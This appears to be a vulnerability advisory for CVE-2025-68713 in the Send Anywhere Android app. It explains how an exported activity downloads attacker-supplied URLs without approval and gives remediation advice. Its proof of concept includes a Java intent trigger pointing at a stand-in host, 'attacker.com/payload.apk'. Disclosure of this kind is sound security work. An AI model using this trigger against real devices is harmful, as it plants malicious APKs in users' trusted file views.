actuator

com.estmob.android.sendanywhere

0
0
0
public
View on GitHub

A zero-permission Android app can send an explicit VIEW intent to an exported activity in Send Anywhere (com.estmob.android.sendanywhere 23.2.9) and have the app download an arbitrary http/https URL into its scoped storage. The downloaded file appears in the app’s trusted “Received” interface.

This gives an attacker:

  • A vector for arbitrary code execution when the payload is an APK: the file is presented in a UI the user trusts, and a user-initiated install completes the chain.
  • A denial of service: oversized or repeated downloads exhaust the app’s storage.

The download runs with no caller restriction, no origin or integrity check on the URL, and no user-mediated approval.

CVE-2025-68713: Forced File Download into Scoped Storage via Exported Activity (Send Anywhere, Android)

CVE: CVE-2025-68713
Target Application: Send Anywhere (File Transfer)
Package: com.estmob.android.sendanywhere
Version: 23.2.9
Vendor: Rakuten Symphony Korea, Inc.
Affected Component: com.estmob.paprika4.activity.ViewActivity (exported activity)

1. Summary

The exported activity com.estmob.paprika4.activity.ViewActivity accepts an explicit VIEW intent carrying an http/https URL and automatically downloads the target file into the app’s scoped storage. The downloaded file is then listed in the app’s “Received” interface as though it arrived through a normal transfer.

Any installed app can trigger this with no permissions and no caller validation. The activity does not check the calling package, does not validate the URL origin, and does not require user approval before downloading.

Two impacts follow:

  1. Arbitrary code execution (vector). An attacker-controlled APK is downloaded and surfaced in the trusted “Received” view. A user-initiated install (with the system “install unknown apps” prompt) completes the chain.
  2. Denial of service. Oversized or repeated downloads exhaust the app’s storage.

2. Vulnerability Class

  • CWE-926: Improper Export of Android Application Components (primary). ViewActivity is exported and reachable by any installed app with no caller restriction.
  • CWE-494: Download of Code Without Integrity Check (contributing). The activity fetches and stores a remote URL with no origin or integrity check.
  • CWE-284: Improper Access Control (root). The download path is reachable without the user-mediated approval that normally gates a transfer.

3. Attack Surface

  • com.estmob.paprika4.activity.ViewActivity is exported and callable by any installed app.
  • It accepts an explicit VIEW intent and reads the URL from the intent data.
  • It downloads the target (including .apk) into scoped storage automatically, with no check on the calling package or the URL origin.
  • The result is listed under the “Received” tab, indistinguishable from a legitimate transfer.
  • No transfer key, prompt, or other user interaction is required to trigger the download.

4. Proof of Concept

com estmob android sendanywhere-23 2 9

Malicious app manifest (zero permissions, single launcher activity):

<activity
    android:name=".MainActivity"
    android:exported="true"
    android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

Trigger (Java):

Intent i = new Intent(Intent.ACTION_VIEW);
i.setComponent(new ComponentName(
        "com.estmob.android.sendanywhere",
        "com.estmob.paprika4.activity.ViewActivity"));
i.setData(Uri.parse("https://attacker.com/payload.apk"));
startActivity(i);

Behavior:

  • ViewActivity downloads the URL target into scoped storage.
  • The “Received” list shows the file as a normal transfer.
  • No key entry or approval prompt is shown to the user.

6. Recommendations

  • Set android:exported="false" on ViewActivity, or guard it with a signature-level permission.
  • Validate the calling package before processing the intent.
  • Validate and restrict accepted URI schemes and origins; do not download arbitrary attacker-supplied URLs.
  • Require explicit user confirmation before writing any received file.
  • Treat files in the “Received” view as untrusted input.

References

v0.3.3[beta]